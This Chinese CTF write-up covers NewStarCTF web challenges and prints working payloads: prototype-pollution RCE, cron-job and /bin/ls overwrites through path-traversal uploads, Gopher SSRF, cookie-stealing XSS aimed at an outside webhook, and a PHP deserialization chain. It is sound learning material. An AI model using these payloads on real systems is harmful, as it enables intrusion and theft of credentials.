前言

主要合集了自己认为把握度还不够的,比较重要的题型,这些题目大多数不会单独作为知识点呈现,但也需要加深印象

Week4

Web

ezpollute

考察知识点:Nodejs的原型链污染

参考文章:Prototype Pollution to RCE | HackTricks

污染点在merge.js,index.js的/config路由下,初步思路是要找到可污染的变量参数,构造RCE反弹shell之类的,其中导入了模块child_process;至于merge.js虽然ban了__proto__ ,但是可以用”constructor”: {“prototype”的方式去绕过

通过sh文件我们发现环境变量中写了flag,同时又将flag写入了根目录下

由于污染了 constructor.prototype,这会影响到所有通过这个构造函数创建的对象的原型链,众所周知,要想执行代码,你得需要环境变量,而这里我们利用环境变量去污染env对象,NODE_OPTIONS 是一个特殊的环境变量,可以用来为 Node.js 设置启动时的参数。设置 --require /proc/self/environ 来强制 Node.js 在启动时加载当前进程的环境变量文件。这样我们就可以利用这个文件中的环境变量来执行任意代码

1
2
3
4
5
6
7
8
9
10
11
{"x":"1","y":"1",  "textOptions": {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"EVIL": "console.log(require(\"child_process\").execSync(\"cat /flag > /app/static/index.html\").toString())//"
}
}
}
}
}

由于直接修改了环境变量对象 env,所以此时flag也会被覆盖,但在容器启动时,已经写进了flag文件中

通过本地测试,找到了源路径,由于没有回显我们将flag文件内容覆盖写进index.html中

image-20241023184931606

隐藏的密码

考察知识点:SpringBoot框架下的信息泄露、Spring Boot Fat Jar 写文件到 RCE 、任意文件上传

参考文章:Spring Boot 相关漏洞学习汇总Spring Boot Fat Jar 任意写文件漏洞到稳定 RCE 利用技巧

题目提示密码可能有泄露,那应该是去找后门文件啥的

Spring Boot有很多信息泄露的种类,这里我们要找到密码,在/actuator/env路由下找到一段*
image-20241021163633480

而这段**正是我们所需要的

这里试了很多感觉因该是不出网的,因为选择用/actuator/env下发json包到自己的vps服务器上是行不通的

因此调用 org.springframework.boot Mbean

image-20241021165837999

1
123456qWertAsdFgZxCvB!@#

flag就在根目录下,但是这里只能执行ls命令

image-20241021170118965

我们通过写计划任务的形式将flag读出成文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload HTTP/1.1
Host: 8.147.129.74:34860
Content-Length: 226
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywn3ItH1ACTT0L6Bc
Accept: */*
Origin: http://8.147.129.74:34860
Referer: http://8.147.129.74:34860/ccd14bfa-33a9-328e-85ad-f5bb028f4d4c
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

------WebKitFormBoundarywn3ItH1ACTT0L6Bc
Content-Disposition: form-data; name="file"; filename="../etc/cron.d/getflag"
Content-Type: application/octet-stream

*/1 * * * * root cat /flag | xargs -I {} touch /{}
------WebKitFormBoundarywn3ItH1ACTT0L6Bc--

另一种做法是Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索,不过我用这个方法没复现出来,是蔡师傅想到的

上传文件时改路径,覆盖原charsets.jar

1
/../usr/local/openjdk-8/jre/lib/

然后通过改字集的请求方式触发漏洞

1
2
GET /back.html HTTP/1.1
Accept: text/html;charset=GBK

image-20241030223359844

可以根据自己的情况更改命令

PangBai 过家家(4)

考察知识点:Go语言下的SSTI、SSRF

/eye路由下存在ssti模板注入

/favorite路由用PUT请求下判断是否为本地访问,其次通过JWT判断是否为papa用户,Papa 用户可以更新 SignaturePath 配置

我们可以先从/eye路由下获取JWT密钥

image-20241030230341643

1
y3FQMoLOY8WM85U8JFZVCaMdwnInZJsXq4kgq2j1gNKFsPZoCMYUXiYEnV5E0Fdr

还有一点很重要,因为r.RemoteAddr 是直接连接到服务器的客户端 IP 地址,它不会被 HTTP 头影响。即使设置了 X-Forwarded-For: 127.0.0.1,服务器仍然会使用实际的连接 IP,因此我们需要去伪造本地访问;同时在main.go中,所提供的curl不支持参数使用,以至于我们无法直接进行PUT请求那么ssrf的Gopher协议可以帮助我们这一点

1
2
3
4
5
6
7
PUT /favorite HTTP/1.1
Host: localhost:8000
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzAzMDc4MDAsInVzZXIiOiJQYXBhIn0.2pMB6sDtYKB4TKfpEaYT9upGD68nFYDEbE8XsIZ1910
Content-Type: text/plain
Content-Length: 18

/proc/self/environ
1
PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%2E0Qicg9zGj3Cr%2DqR1Mbj%5F%2DPMFYQJg5pZ0uDIv2De0Ie4%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
1
gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%2E0Qicg9zGj3Cr%2DqR1Mbj%5F%2DPMFYQJg5pZ0uDIv2De0Ie4%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
1
gopher%3A%2F%2Flocalhost%3A8000%2F%5FPUT%2520%252Ffavorite%2520HTTP%252F1%252E1%250D%250AHost%253A%2520localhost%253A8000%250D%250AContent%252DType%253A%2520text%252Fplain%250D%250ACookie%253A%2520token%253DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%252EeyJleHAiOjE3MzAzMDk3NDUsInVzZXIiOiJQYXBhIn0%252E0Qicg9zGj3Cr%252DqR1Mbj%255F%252DPMFYQJg5pZ0uDIv2De0Ie4%250D%250AContent%252DLength%253A%252018%250D%250A%250D%250A%252Fproc%252Fself%252Fenviron

image-20241030234236869

很重要的一点,这里要用CyberChef双重URL全编码第一层url是我们传输本身,第二层是curl本身(怪说不得每次都回显error)

以前做过类似的有师傅也用双重URL,但当时没太在意,这一次算是记忆犹新了

image-20241030234212532

Week5

Web

PangBai 过家家(5)

api.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import Router from "koa-router";
import { Memory } from "./letter";
import { ensureContentType } from "./mw";
import { v4 as uuid } from "uuid";
import visit from "./bot";

const api = new Router({ prefix: '/api' });

interface SubmitRequest {
title: string
content: string
}

api.post('/send',
ensureContentType('application/json'),
async (ctx, next) => {
const { title, content } = <Partial<SubmitRequest>>ctx.request.body;
if (typeof title !== 'string' || typeof content !== 'string') {
return ctx.throwJson(400, '缺失标题或内容');
}
if (title.trim() === '') {
return ctx.throwJson(400, '标题不能为空');
}
if (title.length > 50) {
return ctx.throwJson(400, '标题太长了呢,最多只能 50 个字哦 >_<');
}
if (content.length > 500) {
return ctx.throwJson(400, '内容太长了呢,超过 500 字 PangBai 可能读不过来呢');
}
let id = uuid()
if (Memory.has(id)) {
return ctx.throwJson(500, '奇怪,这份信件已经存在了呢');
}
Memory.set(id, { title, content });
return ctx.body = { id };
}
);

api.post('/call',
ensureContentType('application/json'),
async (ctx, next) => {
const { id } = <Partial<{ id: string }>>ctx.request.body;
if (typeof id !== 'string') {
return ctx.throwJson(400, '这好像不是信件吧');
}
if (!Memory.has(id)) {
return ctx.throwJson(404, '这份信件并不存在呢');
}
let url = `http://localhost:3000/box/${id}`
let ret = await visit(url);
if (!ret) {
return ctx.throwJson(500, { success: ret, visit: url, error: 'PangBai 在阅读信件时似乎出了点问题呢' });
}
return ctx.body = {
success: ret,
visit: url,
message: 'PangBai 将会立即阅读这份信件'
};
}
)

export default api;

bot.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import puppeteer from 'puppeteer';

let id = 0;

async function _visit(url: string) {
console.info(`[#${++id}] Received bot request`);

const browser = await puppeteer.launch({
headless: true,
args: [
'--disable-gpu',
"--no-sandbox",
'--disable-dev-shm-usage'
]
});

const page = await browser.newPage();

await page.setCookie({
name: 'FLAG',
value: process.env['FLAG'] || 'flag{test_flag}',
httpOnly: false,
path: '/',
domain: 'localhost:3000',
sameSite: 'Strict'
});

console.info(`[#${id}] Visiting ${url}`);

page.goto(url, { timeout: 3 * 1000 }).then(_ => {
setTimeout(async () => {
await page.close();
await browser.close();
console.info(`[#${id}] Visited`);
}, 5 * 1000);
})
}

export function visit(url: string) {
return _visit(url).then(_ => true).catch(e => (console.error(e), false));
}

export default visit;

page.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import Router from 'koa-router'
import { Memory, type Letter } from './letter'

const router = new Router()

router.get('/', async (ctx, next) => {
await ctx.render('index', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
})
})

router.get('/send', async (ctx, next) => {
await ctx.render('send', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
sub_title: '发信',
})
})

const HINT_BOX = [
'就像是一场梦……'
]

router.get('/box', async (ctx, next) => {
const letters: { id: string, title: string }[] = []
for (const [id, { title }] of Memory) {
letters.push({ id, title })
}
await ctx.render('box', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
sub_title: '信箱',
letters: letters,
hint_text: HINT_BOX[Math.floor(Math.random() * HINT_BOX.length)]
})
})

const HINT_LETTERS = [
'愿此去,莫忘归',
'相见时难别亦难,东风无力百花残',
'此去经年,应是良辰好景虚设',
'终有一天,人类一定能战胜崩坏!'
]

const html = (strings: TemplateStringsArray, ...values: any[]) => { return strings.reduce((acc, str, i) => acc + str + (values[i] || ''), '') }
const TITLE_EMPTY = html`<span style="text-align: center; color: #d9cac5; display: inline-block; width: 100%; -moz-user-select: none; -webkit-user-select: none; user-select: none;">空空如也~</span>`
const CONTENT_EMPTY = html`<span style="text-align: center; color: #d9cac5; display: grid; width: 100%; height: 100%; place-items: center; -moz-user-select: none; -webkit-user-select: none; user-select: none;"><span>空空如也~</span></span>`

function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}

router.get('/box/:id', async (ctx, next) => {
const letter = Memory.get(ctx.params['id'])
await ctx.render('letter', <TmplProps>{
page_title: 'PangBai 过家家 (5)',
sub_title: '查看信件',
id: ctx.params['id'],
hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
data: letter ? {
title: safe_html(letter.title),
content: safe_html(letter.content)
} : { title: TITLE_EMPTY, content: CONTENT_EMPTY },
error: letter ? null : '找不到该信件'
})
})

export default router

最近xss似乎是一大热点题目,连续好几次碰到,同样的是机器人去访问我们的信件,我们要设法注入xss代码,截取机器人的cookie,flag就在其中

page.ts中会对我们的输入进行清理,对象是被<>元素包裹的内容,<></>也在内

首先我想的是通过onerror自动跳转,将cookie打到webhook上,但是这样每次发送完信件后,pangbai还没看就会把题目环境的cookie给打过去

1
<img src="x" onerror="location.href='https://eo3fw01pifuy7ak.m.pipedream.net/?cookie='+document.cookie"

后面我又通过点进信件先手动暂停因为location.href造成的页面加载,然后再点击让pangbai读信件,按理来说该成功了,后面又发现Puppeteer库默认禁用自动跳转,所以这个payload就算是失效了(而且题目也是不出网的)

让我们再来看safe_html这个过滤

1
2
3
4
5
6
function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '')
}
1
2
3
i 修饰符表示不区分大小写
g 修饰符表示全局匹配,即匹配字符串中的所有符合条件的部分
m 修饰符表示多行模式,而不是对整个字符串进行匹配

重点在于.的匹配范围是单行字符(除了换行符);即便正则表达式设置了 m 修饰符,这个修饰符也只会影响 ^$

因此我们的payload可以是这样

1
2
3
<script
>alert('xss')</script
>

而现在在于如何回显,一开始我只想着让bot去看。当他浏览了信件便触发XSS,包括以前做的xss题目也是这样的,但这道题不同之处在于,让bot去写信件,从而触发xss(因为当我们发送信件时,会先触发xss弹窗;同时你可以看到源代码中给到了/send路由,那我们就可以用fetch搞点事情了。所以说归根揭底还是对代码不太敏感,有时候代码审计会给你灵感)

1
2
3
4
5
6
7
8
9
10
11
12
13
<script
>fetch('/api/send', {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: "cookie",
content: document.cookie
})
})</script
>

我当时就在想如果用onerror是否也可这样呢?毕竟可以弹窗,但是试验后并不行,一时半会儿也没搞明白,有思路的师傅欢迎评论区留言

1
2
3
4
5
6
7
8
9
10
11
12
<img src="x" onerror="fetch('/api/send', {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
title: "cookie",
content: document.cookie
})
})"
>

臭皮吹泡泡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);
highlight_file(__FILE__);

class study
{
public $study;

public function __destruct()
{
if ($this->study == "happy") {
echo ($this->study);
}
}
}
class ctf
{
public $ctf;
public function __tostring()
{
if ($this->ctf === "phpinfo") {
die("u can't do this!!!!!!!");
}
($this->ctf)(1);
return "can can need";
}
}
class let_me
{
public $let_me;
public $time;
public function get_flag()
{
$runcode="<?php #".$this->let_me."?>";
$tmpfile="code.php";
try {
file_put_contents($tmpfile,$runcode);
echo ("we need more".$this->time);
unlink($tmpfile);
}catch (Exception $e){
return "no!";
}

}
public function __destruct(){
echo "study ctf let me happy";
}
}

class happy
{
public $sign_in;

public function __wakeup()
{
$str = "sign in ".$this->sign_in." here";
return $str;
}
}



$signin = $_GET['new_star[ctf'];
if ($signin) {
$signin = base64_decode($signin);
unserialize($signin);
}else{
echo "你是真正的CTF New Star 吗? 让我看看你的能力";
}

初步浏览,let_me肯定是POP链的最后一环,其中file_put_contents($tmpfile,$runcode);需要我们构造php代码将其写入code.php中

可以看到$runcode有一个#,我们进行一个简单的闭合即可,或者换行符,同时unlink($tmpfile);会立马删除文件,我们需要通过$this->time指向$ctf得到sleep的时间

因此这一部分可以这样构造

1
2
3
4
$a = new let_me();
$a->let_me = "?> <?php phpinfo();";
$a->time = new ctf();
$a->time->ctf = "sleep";

而接下来就是调用这个get_flag()函数,可以看到happy类中有__wakeup()魔术方法,在反序列化以后立即执行,这里就是调用get_flag()函数的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class study
{
public $study;
}
class ctf
{
public $ctf;
}
class let_me
{
public $let_me;
public $time;
}

class happy
{
public $sign_in;
}

$a = new let_me();
$a->let_me = "\n system('cat /flag');";
$a->time = new ctf();
$a->time->ctf = "sleep";
$b = new happy();
$b->sign_in = new ctf();
$b->sign_in->ctf = array($a, "get_flag");

echo base64_encode(serialize($b));
?>

对于array($a, "get_flag"),这里是一个PHP回调数组,我们可以类比回调函数call_user_func(),将在 $a 对象上调用名为 get_flag 的方法

在php传参中[是非法的,会被替换成_,然而php只会处理一次,在首次处理后不会继续处理随后的违规字符;因此payload

1
new[star[ctf=Tzo1OiJoYXBweSI6MTp7czo3OiJzaWduX2luIjtPOjM6ImN0ZiI6MTp7czozOiJjdGYiO2E6Mjp7aTowO086NjoibGV0X21lIjoyOntzOjY6ImxldF9tZSI7czoyMjoiCiBzeXN0ZW0oJ2NhdCAvZmxhZycpOyI7czo0OiJ0aW1lIjtPOjM6ImN0ZiI6MTp7czozOiJjdGYiO3M6NToic2xlZXAiO319aToxO3M6ODoiZ2V0X2ZsYWciO319fQ==

臭皮的网站

F12后有一串base64字符串

1
2
YWlvaHR0cD8gbmdpbng/IHJlYWRmaWxlPw==
aiohttp? nginx? readfile?

搜索之后发现aiohttp是一个Python的HTTP客户端/服务器框架,并存在目录遍历漏洞

aiohttp存在目录遍历漏洞(CVE-2024-23334).md)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /static/../../../../../../app/app.py HTTP/1.1
Host: 127.0.0.1:64048
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1717225330,1717228863,1717234006,1717417134
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Thu, 19 Sep 2024 04:34:35 GMT
If-None-Match: "17f68b1f9ac4ce00-a59"
Priority: u=0, i

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1


adminname = "admin"


def CreteKey():
key_bytes = secrets.token_bytes(32)
key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
return key_str


def authenticate(username, password):
if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
return True
else:
return False


async def middleware(app, handler):
async def middleware_handler(request):
try:
response = await handler(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except web.HTTPNotFound:
response = await handler_404(request)
response.headers['Server'] = 'nginx/114.5.14'
return response
except Exception:
response = await handler_500(request)
response.headers['Server'] = 'nginx/114.5.14'
return response

return middleware_handler


async def handler_404(request):
return web.FileResponse('./template/404.html', status=404)


async def handler_500(request):
return web.FileResponse('./template/500.html', status=500)


async def index(request):
return web.FileResponse('./template/index.html')


async def login(request):
data = await request.post()
username = data['username']
password = data['password']
if authenticate(username, password):
session = await get_session(request)
session['user'] = 'admin'
response = web.HTTPFound('/home')
response.session = session
return response
else:
return web.Response(text="账号或密码错误哦", status=200)


async def home(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
return web.FileResponse('./template/home.html')
else:
return web.HTTPFound('/')


async def upload(request):
session = await get_session(request)
user = session.get('user')
if user == 'admin':
reader = await request.multipart()
file = await reader.next()
if file:
filename = './static/' + file.filename
with open(filename,'wb') as f:
while True:
chunk = await file.read_chunk()
if not chunk:
break
f.write(chunk)
return web.HTTPFound("/list")
else:
response = web.HTTPFound('/home')
return response
else:
return web.HTTPFound('/')


async def ListFile(request):
session = await get_session(request)
user = session.get('user')
command = "ls ./static"
if user == 'admin':
result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
files_list = result.stdout
return web.Response(text="static目录下存在文件\n"+files_list)
else:
return web.HTTPFound('/')


async def init_app():
app = web.Application()
app.router.add_static('/static/', './static', follow_symlinks=True)
session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
app.middlewares.append(middleware)
app.router.add_route('GET', '/', index)
app.router.add_route('POST', '/', login)
app.router.add_route('GET', '/home', home)
app.router.add_route('POST', '/upload', upload)
app.router.add_route('GET', '/list', ListFile)
return app


web.run_app(init_app(), host='0.0.0.0', port=80)

代码审计可以发现

1
random.seed(uuid.getnode())

uuid.getnode() 获取设备的唯一标识符(通常是MAC地址),random.seed() 用来设置随机数生成器的种子值。通过使用 uuid.getnode() 作为种子值,确保每次运行时,生成的随机数序列都是一致的。这意味着在相同设备上运行时,生成的随机值是可预测的

1
2
3
4
5
def authenticate(username, password):
if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
return True
else:
return False

随机密码是基于设备的唯一标识符(通过 uuid.getnode() 获取)生成的,通过默认路径查看

image-20241113183735066

1
b2:7c:b7:e3:97:04
1
2
3
4
import random
import string
random.seed(0xb27cb7e39704)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))

由于不知道目录所在具体位置,这里不太好上马,因为可以任意上传文件,我最开始的思路是通过Linux计划任务将flag读出来,毕竟可以查看当前文件夹的所有文件;但是后来发现细节上你还是不知道当前所在目录位置,毕竟ls的只是当前文件夹下的文件

而后则是转向污染ls这个命令,我们都知道Linux中命令的本质其实就是文件,我们只需要污染一下ls文件就好了

dir /

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /upload HTTP/1.1
Host: 127.0.0.1:57956
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------29762909921472706861220687565
Content-Length: 284
Origin: http://127.0.0.1:57956
Connection: keep-alive
Referer: http://127.0.0.1:57956/home
Cookie: Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed=1717225330,1717228863,1717234006,1717417134; AIOHTTP_SESSION="gAAAAABnNYL-QcIgo4QuiAmU5PIUQCEAWeNEg1XgwFmC8k8DSv6QohgiXdABiJi0S5Mrde5JwAb0qpp221xrEj0MGU_qFRH8RqUuD3EsMpiAyvGFjNyty2Kl8b6TvHS-QwR5WJGr1BFgQ0Uh2JqN2pi3yJlzI5dqdQ=="
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------29762909921472706861220687565
Content-Disposition: form-data; name="file"; filename="../../../../../bin/ls"
Content-Type: application/octet-stream

cat /a6c4304ad5938eaf0efb6cc3e53dc_flag
-----------------------------29762909921472706861220687565--